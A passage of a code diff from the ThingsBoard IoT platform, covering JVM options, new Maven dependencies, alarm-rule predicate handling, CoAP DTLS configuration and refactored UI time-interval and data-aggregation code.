export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/thingsboard/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}-heapdump.bin"
export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
export LOG_FILENAME=thingsboard.out
export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions
logback: |

46
pom.xml

@ -47,6 +47,7 @@
<jjwt.version>0.7.0</jjwt.version>
<json-path.version>2.2.0</json-path.version>
<junit.version>4.12</junit.version>
<jupiter.version>5.7.1</jupiter.version>
<slf4j.version>1.7.7</slf4j.version>
<logback.version>1.2.3</logback.version>
<mockito.version>3.3.3</mockito.version>
@ -116,6 +117,10 @@
<protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
<wire-schema.version>3.4.0</wire-schema.version>
<twilio.version>7.54.2</twilio.version>
<hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
<javax.el.version>3.0.0</javax.el.version>
<javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
<antisamy.version>1.6.2</antisamy.version>
</properties>
<modules>
@ -1236,6 +1241,11 @@
<type>test-jar</type>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.eclipse.californium</groupId>
<artifactId>scandium</artifactId>
<version>${californium.version}</version>
</dependency>
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
@ -1340,6 +1350,12 @@
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<version>${jupiter.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.dbunit</groupId>
<artifactId>dbunit</artifactId>
@ -1537,6 +1553,36 @@
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
<version>${hibernate-validator.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>${javax.el.version}</version>
</dependency>
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
<version>${javax.validation-api.version}</version>
</dependency>
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>${antisamy.version}</version>
<exclusions>
<exclusion>
<groupId>org.slf4j</groupId>
<artifactId>*</artifactId>
</exclusion>
<exclusion>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-annotations</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</dependencyManagement>

50
rule-engine/rule-engine-components/src/main/java/org/thingsboard/rule/engine/profile/AlarmRuleState.java

@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe
import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule;
import org.thingsboard.server.common.data.query.BooleanFilterPredicate;
import org.thingsboard.server.common.data.query.ComplexFilterPredicate;
import org.thingsboard.server.common.data.query.EntityKey;
import org.thingsboard.server.common.data.query.EntityKeyType;
import org.thingsboard.server.common.data.query.FilterPredicateValue;
import org.thingsboard.server.common.data.query.KeyFilter;
import org.thingsboard.server.common.data.query.KeyFilterPredicate;
import org.thingsboard.server.common.data.query.NumericFilterPredicate;
import org.thingsboard.server.common.data.query.StringFilterPredicate;
@ -275,7 +272,7 @@ class AlarmRuleState {
if (value == null) {
return false;
}
eval = eval && eval(data, value, filter.getPredicate());
eval = eval && eval(data, value, filter.getPredicate(), filter);
}
return eval;
}
@ -300,33 +297,33 @@ class AlarmRuleState {
return value;
}
private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate) {
private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate, AlarmConditionFilter filter) {
switch (predicate.getType()) {
case STRING:
return evalStrPredicate(data, value, (StringFilterPredicate) predicate);
return evalStrPredicate(data, value, (StringFilterPredicate) predicate, filter);
case NUMERIC:
return evalNumPredicate(data, value, (NumericFilterPredicate) predicate);
return evalNumPredicate(data, value, (NumericFilterPredicate) predicate, filter);
case BOOLEAN:
return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate);
return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate, filter);
case COMPLEX:
return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate);
return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate, filter);
default:
return false;
}
}
private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate) {
private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate, AlarmConditionFilter filter) {
switch (predicate.getOperation()) {
case OR:
for (KeyFilterPredicate kfp : predicate.getPredicates()) {
if (eval(data, ekv, kfp)) {
if (eval(data, ekv, kfp, filter)) {
return true;
}
}
return false;
case AND:
for (KeyFilterPredicate kfp : predicate.getPredicates()) {
if (!eval(data, ekv, kfp)) {
if (!eval(data, ekv, kfp, filter)) {
return false;
}
}
@ -336,12 +333,15 @@ class AlarmRuleState {
}
}
private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate) {
private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate, AlarmConditionFilter filter) {
Boolean val = getBoolValue(ekv);
if (val == null) {
return false;
}
Boolean predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getBoolValue);
Boolean predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getBoolValue);
if (predicateValue == null) {
return false;
}
switch (predicate.getOperation()) {
case EQUAL:
return val.equals(predicateValue);
@ -352,12 +352,15 @@ class AlarmRuleState {
}
}
private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate) {
private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate, AlarmConditionFilter filter) {
Double val = getDblValue(ekv);
if (val == null) {
return false;
}
Double predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getDblValue);
Double predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getDblValue);
if (predicateValue == null) {
return false;
}
switch (predicate.getOperation()) {
case NOT_EQUAL:
return !val.equals(predicateValue);
@ -376,12 +379,15 @@ class AlarmRuleState {
}
}
private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate) {
private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate, AlarmConditionFilter filter) {
String val = getStrValue(ekv);
if (val == null) {
return false;
}
String predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getStrValue);
String predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getStrValue);
if (predicateValue == null) {
return false;
}
if (predicate.isIgnoreCase()) {
val = val.toLowerCase();
predicateValue = predicateValue.toLowerCase();
@ -404,7 +410,7 @@ class AlarmRuleState {
}
}
private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, Function<EntityKeyValue, T> transformFunction) {
private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, AlarmConditionFilter filter, Function<EntityKeyValue, T> transformFunction) {
EntityKeyValue ekv = getDynamicPredicateValue(data, value);
if (ekv != null) {
T result = transformFunction.apply(ekv);
@ -412,7 +418,11 @@ class AlarmRuleState {
return result;
}
}
return value.getDefaultValue();
if (filter.getKey().getType() != AlarmConditionKeyType.CONSTANT) {
return value.getDefaultValue();
} else {
return null;
}
}
private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) {

18
transport/coap/src/main/resources/tb-coap-transport.yml

@ -46,6 +46,24 @@ transport:
bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}"
bind_port: "${COAP_BIND_PORT:5683}"
timeout: "${COAP_TIMEOUT:10000}"
dtls:
# Enable/disable DTLS 1.2 support
enabled: "${COAP_DTLS_ENABLED:false}"
# Secure mode. Allowed values: NO_AUTH, X509
mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}"
# Path to the key store that holds the certificate
key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}"
# Password used to access the key store
key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}"
# Password used to access the key
key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}"
# Key alias
key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}"
# Skip certificate validity check for client certificates.
skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}"
x509:
dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}"
dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}"
sessions:
inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}"
report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}"

107
ui-ngx/src/app/core/api/data-aggregator.ts

@ -17,10 +17,9 @@
import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models';
import {
AggregationType, calculateIntervalComparisonEndTime,
calculateIntervalEndTime,
calculateIntervalStartTime,
calculateIntervalEndTime, calculateIntervalStartEndTime,
getCurrentTime,
getCurrentTimeForComparison,
getCurrentTimeForComparison, getTime,
SubscriptionTimewindow
} from '@shared/models/time/time.models';
import { UtilsService } from '@core/services/utils.service';
@ -36,8 +35,56 @@ interface AggData {
aggValue: any;
}
interface AggregationMap {
[key: string]: Map<number, AggData>;
class AggDataMap {
rangeChanged = false;
private minTs = Number.MAX_SAFE_INTEGER;
private map = new Map<number, AggData>();
set(ts: number, data: AggData) {
if (ts < this.minTs) {
this.rangeChanged = true;
this.minTs = ts;
}
this.map.set(ts, data);
}
get(ts: number): AggData {
return this.map.get(ts);
}
delete(ts: number) {
this.map.delete(ts);
}
forEach(callback: (value: AggData, key: number, map: Map<number, AggData>) => void, thisArg?: any) {
this.map.forEach(callback, thisArg);
}
size(): number {
return this.map.size;
}
}
class AggregationMap {
aggMap: {[key: string]: AggDataMap} = {};
detectRangeChanged(): boolean {
let changed = false;
for (const key of Object.keys(this.aggMap)) {
const aggDataMap = this.aggMap[key];
if (aggDataMap.rangeChanged) {
changed = true;
aggDataMap.rangeChanged = false;
}
}
return changed;
}
clearRangeChangedFlags() {
for (const key of Object.keys(this.aggMap)) {
this.aggMap[key].rangeChanged = false;
}
}
}
declare type AggFunction = (aggData: AggData, value?: any) => void;
@ -170,7 +217,7 @@ export class DataAggregator {
updateIntervalScheduledTime = false;
}
if (update) {
this.aggregationMap = {};
this.aggregationMap = new AggregationMap();
this.updateAggregatedData(data.data);
} else {
this.aggregationMap = this.processAggregatedData(data.data);
@ -178,12 +225,17 @@ export class DataAggregator {
if (updateIntervalScheduledTime) {
this.intervalScheduledTime = this.utils.currentPerfTime();
}
this.aggregationMap.clearRangeChangedFlags();
this.onInterval(history, detectChanges);
} else {
this.updateAggregatedData(data.data);
if (history) {
this.intervalScheduledTime = this.utils.currentPerfTime();
this.onInterval(history, detectChanges);
} else {
if (this.aggregationMap.detectRangeChanged()) {
this.onInterval(false, detectChanges, true);
}
}
}
}
@ -192,18 +244,19 @@ export class DataAggregator {
this.startTs = this.subsTw.startTs + this.subsTw.tsOffset;
if (this.subsTw.quickInterval) {
if (this.subsTw.timeForComparison === 'previousInterval') {
const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone);
const currentDate = getCurrentTime(this.subsTw.timezone);
this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, startDate, currentDate) + this.subsTw.tsOffset;
} else {
const currentDate = this.getCurrentTime();
this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone);
this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, startDate, this.subsTw.timezone) + this.subsTw.tsOffset;
}
} else {
this.endTs = this.startTs + this.subsTw.aggregation.timeWindow;
}
}
private onInterval(history?: boolean, detectChanges?: boolean) {
private onInterval(history?: boolean, detectChanges?: boolean, rangeChanged?: boolean) {
const now = this.utils.currentPerfTime();
this.elapsed += now - this.intervalScheduledTime;
this.intervalScheduledTime = now;
@ -211,14 +264,15 @@ export class DataAggregator {
clearTimeout(this.intervalTimeoutHandle);
this.intervalTimeoutHandle = null;
}
const intervalTimeout = rangeChanged ? this.aggregationTimeout - this.elapsed : this.aggregationTimeout;
if (!history) {
const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval);
if (delta || !this.data) {
if (delta || !this.data || rangeChanged) {
const tickTs = delta * this.subsTw.aggregation.interval;
if (this.subsTw.quickInterval) {
const currentDate = this.getCurrentTime();
this.startTs = calculateIntervalStartTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
const startEndTime = calculateIntervalStartEndTime(this.subsTw.quickInterval, this.subsTw.timezone);
this.startTs = startEndTime[0] + this.subsTw.tsOffset;
this.endTs = startEndTime[1] + this.subsTw.tsOffset;
} else {
this.startTs += tickTs;
this.endTs += tickTs;
@ -234,7 +288,7 @@ export class DataAggregator {
this.updatedData = false;
}
if (!history) {
this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), this.aggregationTimeout);
this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), intervalTimeout);
}
}
@ -242,18 +296,18 @@ export class DataAggregator {
this.tsKeyNames.forEach((key) => {
this.dataBuffer[key] = [];
});
for (const key of Object.keys(this.aggregationMap)) {
const aggKeyData = this.aggregationMap[key];
for (const key of Object.keys(this.aggregationMap.aggMap)) {
const aggKeyData = this.aggregationMap.aggMap[key];
let keyData = this.dataBuffer[key];
aggKeyData.forEach((aggData, aggTimestamp) => {
if (aggTimestamp <= this.startTs) {
if (aggTimestamp < this.startTs) {
if (this.subsTw.aggregation.stateData &&
(!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) {
this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue];
}
aggKeyData.delete(aggTimestamp);
this.updatedData = true;
} else if (aggTimestamp <= this.endTs) {
} else if (aggTimestamp < this.endTs) {
const kvPair: [number, any] = [aggTimestamp, aggData.aggValue];
keyData.push(kvPair);
}
@ -300,12 +354,12 @@ export class DataAggregator {
private processAggregatedData(data: SubscriptionData): AggregationMap {
const isCount = this.subsTw.aggregation.type === AggregationType.COUNT;
const aggregationMap: AggregationMap = {};
const aggregationMap = new AggregationMap();
for (const key of Object.keys(data)) {
let aggKeyData = aggregationMap[key];
let aggKeyData = aggregationMap.aggMap[key];
if (!aggKeyData) {
aggKeyData = new Map<number, AggData>();
aggregationMap[key] = aggKeyData;
aggKeyData = new AggDataMap();
aggregationMap.aggMap[key] = aggKeyData;
}
const keyData = data[key];
keyData.forEach((kvPair) => {
@ -326,10 +380,10 @@ export class DataAggregator {
private updateAggregatedData(data: SubscriptionData) {
const isCount = this.subsTw.aggregation.type === AggregationType.COUNT;
for (const key of Object.keys(data)) {
let aggKeyData = this.aggregationMap[key];
let aggKeyData = this.aggregationMap.aggMap[key];
if (!aggKeyData) {
aggKeyData = new Map<number, AggData>();
this.aggregationMap[key] = aggKeyData;
aggKeyData = new AggDataMap();
this.aggregationMap.aggMap[key] = aggKeyData;
}
const keyData = data[key];
keyData.forEach((kvPair) => {
@ -374,4 +428,3 @@ export class DataAggregator {
}
}

6
ui-ngx/src/app/core/api/entity-data-subscription.ts

@ -277,7 +277,11 @@ export class EntityDataSubscription {
dataAggregator.reset(newSubsTw);
});
}
this.subscriber.setTsOffset(this.subsTw.tsOffset);
if (this.entityDataSubscriptionOptions.type === widgetType.timeseries) {
this.subscriber.setTsOffset(this.subsTw.tsOffset);
} else {
this.subscriber.setTsOffset(this.latestTsOffset);
}
targetCommand.query = this.dataCommand.query;
this.subscriber.subscriptionCommands = [targetCommand];
} else {

13
ui-ngx/src/app/core/api/widget-subscription.ts

@ -37,12 +37,11 @@ import {
} from '@app/shared/models/widget.models';
import { HttpErrorResponse } from '@angular/common/http';
import {
calculateIntervalEndTime,
calculateIntervalStartTime,
calculateIntervalStartEndTime,
calculateTsOffset, ComparisonDuration,
createSubscriptionTimewindow,
createTimewindowForComparison,
getCurrentTime, isHistoryTypeTimewindow,
isHistoryTypeTimewindow,
SubscriptionTimewindow,
Timewindow, timewindowTypeChanged,
toHistoryTimewindow,
@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription {
this.timeWindow.timezone = this.subscriptionTimewindow.timezone;
if (this.subscriptionTimewindow.realtimeWindowMs) {
if (this.subscriptionTimewindow.quickInterval) {
const currentDate = getCurrentTime(this.subscriptionTimewindow.timezone);
this.timeWindow.maxTime = calculateIntervalEndTime(
this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset;
this.timeWindow.minTime = calculateIntervalStartTime(
this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset;
const startEndTime = calculateIntervalStartEndTime(this.subscriptionTimewindow.quickInterval, this.subscriptionTimewindow.timezone);
this.timeWindow.maxTime = startEndTime[1] + this.subscriptionTimewindow.tsOffset;
this.timeWindow.minTime = startEndTime[0] + this.subscriptionTimewindow.tsOffset;
} else {
this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff;
this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs;

9
ui-ngx/src/app/modules/home/components/dashboard/dashboard.component.html

@ -80,9 +80,9 @@
(mousedown)="widgetMouseDown($event, widget)"
(click)="widgetClicked($event, widget)"
(contextmenu)="openWidgetContextMenu($event, widget)">
<div fxLayout="row" fxLayoutAlign="space-between start">
<div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" [fxShow]="widget.showWidgetTitlePanel">
<span [fxShow]="widget.showTitle"
<div *ngIf="widgetComponent.widgetContext?.inited" fxLayout="row" fxLayoutAlign="space-between start">
<div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" *ngIf="widget.showWidgetTitlePanel">
<span *ngIf="widget.showTitle"
[ngClass]="{'single-row': widget.hasTimewindow}"
[ngStyle]="widget.titleStyle"
[matTooltip]="widget.titleTooltip"
@ -93,7 +93,6 @@
{{widget.customTranslatedTitle}}
</span>
<tb-timewindow *ngIf="widget.hasTimewindow"
#timewindowComponent
aggregation="{{widget.hasAggregation}}"
timezone="true"
[isEdit]="isEdit"
@ -101,7 +100,7 @@
(ngModelChange)="widgetComponent.onTimewindowChanged($event)">
</tb-timewindow>
</div>
<div [fxShow]="widget.showWidgetActions"
<div *ngIf="widget.showWidgetActions"
class="tb-widget-actions"
[ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}"
fxLayout="row"

10
ui-ngx/src/app/modules/home/components/entity/entities-table.component.ts

@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service';
import { AddEntityDialogComponent } from './add-entity-dialog.component';
import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models';
import {
calculateIntervalEndTime,
calculateIntervalStartTime,
getCurrentTime,
calculateIntervalStartEndTime,
HistoryWindowType,
Timewindow
} from '@shared/models/time/time.models';
@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn
timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs;
timePageLink.endTime = currentTime;
} else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) {
const currentDate = getCurrentTime();
timePageLink.startTime = calculateIntervalStartTime(this.timewindow.history.quickInterval, currentDate);
timePageLink.endTime = calculateIntervalEndTime(this.timewindow.history.quickInterval, currentDate);
const startEndTime = calculateIntervalStartEndTime(this.timewindow.history.quickInterval);
timePageLink.startTime = startEndTime[0];
timePageLink.endTime = startEndTime[1];
} else {
timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs;
timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs;

13
ui-ngx/src/app/modules/home/pages/device-profile/device-profiles-table-config.resolver.ts

@ -36,7 +36,6 @@ import {
import { DeviceProfileService } from '@core/http/device-profile.service';
import { DeviceProfileComponent } from '@home/components/profile/device-profile.component';
import { DeviceProfileTabsComponent } from './device-profile-tabs.component';
import { Observable } from 'rxjs';
import { MatDialog } from '@angular/material/dialog';
import {
AddDeviceProfileDialogComponent,
@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon
return actions;
}
addDeviceProfile(): Observable<DeviceProfile> {
return this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData,
addDeviceProfile() {
this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData,
DeviceProfile>(AddDeviceProfileDialogComponent, {
disableClose: true,
panelClass: ['tb-dialog', 'tb-fullscreen-dialog'],
@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon
deviceProfileName: null,
transportType: null
}
}).afterClosed();
}).afterClosed().subscribe(
(res) => {
if (res) {
this.config.table.updateData();
}
}
);
}
setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) {

2
ui-ngx/src/app/shared/models/device.models.ts

@ -520,7 +520,7 @@ export enum DeviceCredentialsType {
export const credentialTypeNames = new Map<DeviceCredentialsType, string>(
[
[DeviceCredentialsType.ACCESS_TOKEN, 'Access token'],
[DeviceCredentialsType.X509_CERTIFICATE, 'MQTT X.509'],
[DeviceCredentialsType.X509_CERTIFICATE, 'X.509'],
[DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'],
[DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials']
]

246
ui-ngx/src/app/shared/models/time/time.models.ts

@ -136,13 +136,16 @@ export enum QuickTimeInterval {
DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY',
THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK',
PREVIOUS_WEEK = 'PREVIOUS_WEEK',
PREVIOUS_WEEK_ISO = 'PREVIOUS_WEEK_ISO',
PREVIOUS_MONTH = 'PREVIOUS_MONTH',
PREVIOUS_YEAR = 'PREVIOUS_YEAR',
CURRENT_HOUR = 'CURRENT_HOUR',
CURRENT_DAY = 'CURRENT_DAY',
CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR',
CURRENT_WEEK = 'CURRENT_WEEK',
CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_WAR',
CURRENT_WEEK_ISO = 'CURRENT_WEEK_ISO',
CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_FAR',
CURRENT_WEEK_ISO_SO_FAR = 'CURRENT_WEEK_ISO_SO_FAR',
CURRENT_MONTH = 'CURRENT_MONTH',
CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR',
CURRENT_YEAR = 'CURRENT_YEAR',
@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string
[QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'],
[QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'],
[QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'],
[QuickTimeInterval.PREVIOUS_WEEK_ISO, 'timeinterval.predefined.previous-week-iso'],
[QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'],
[QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'],
[QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'],
[QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'],
[QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'],
[QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'],
[QuickTimeInterval.CURRENT_WEEK_ISO, 'timeinterval.predefined.current-week-iso'],
[QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'],
[QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR, 'timeinterval.predefined.current-week-iso-so-far'],
[QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'],
[QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'],
[QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'],
@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string
]);
export function historyInterval(timewindowMs: number): Timewindow {
const timewindow: Timewindow = {
return {
selectedTab: TimewindowType.HISTORY,
history: {
historyType: HistoryWindowType.LAST_INTERVAL,
timewindowMs
}
};
return timewindow;
}
export function defaultTimewindow(timeService: TimeService): Timewindow {
const currentTime = moment().valueOf();
const timewindow: Timewindow = {
return {
displayValue: '',
hideInterval: false,
hideAggregation: false,
@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow {
limit: Math.floor(timeService.getMaxDatapointsLimit() / 2)
}
};
return timewindow;
}
function getTimewindowType(timewindow: Timewindow): TimewindowType {
@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number,
aggType = AggregationType.AVG;
limit = timeService.getMaxDatapointsLimit();
}
const historyTimewindow: Timewindow = {
return {
hideInterval: timewindow.hideInterval || false,
hideAggregation: timewindow.hideAggregation || false,
hideAggInterval: timewindow.hideAggInterval || false,
@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number,
},
timezone: timewindow.timezone
};
return historyTimewindow;
}
export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean {
@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
timezone: timewindow.timezone,
tsOffset: calculateTsOffset(timewindow.timezone)
};
let aggTimewindow = 0;
let aggTimewindow;
if (stateData) {
subscriptionTimewindow.aggregation.type = AggregationType.NONE;
subscriptionTimewindow.aggregation.stateData = true;
@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
}
}
if (realtimeType === RealtimeWindowType.INTERVAL) {
const currentDate = getCurrentTime(timewindow.timezone);
subscriptionTimewindow.realtimeWindowMs =
getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, currentDate);
getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, timewindow.timezone);
subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval;
subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate);
const currentDate = getCurrentTime(timewindow.timezone);
subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate).valueOf();
} else {
subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs;
subscriptionTimewindow.startTs = Date.now() + stDiff - subscriptionTimewindow.realtimeWindowMs;
const currentDate = getCurrentTime(timewindow.timezone);
subscriptionTimewindow.startTs = currentDate.valueOf() + stDiff - subscriptionTimewindow.realtimeWindowMs;
}
subscriptionTimewindow.aggregation.interval =
timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval,
@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
};
aggTimewindow = timewindow.history.timewindowMs;
} else if (historyType === HistoryWindowType.INTERVAL) {
const currentDate = getCurrentTime(timewindow.timezone);
const startEndTime = calculateIntervalStartEndTime(timewindow.history.quickInterval, timewindow.timezone);
subscriptionTimewindow.fixedWindow = {
startTimeMs: calculateIntervalStartTime(timewindow.history.quickInterval, currentDate),
endTimeMs: calculateIntervalEndTime(timewindow.history.quickInterval, currentDate)
startTimeMs: startEndTime[0],
endTimeMs: startEndTime[1]
};
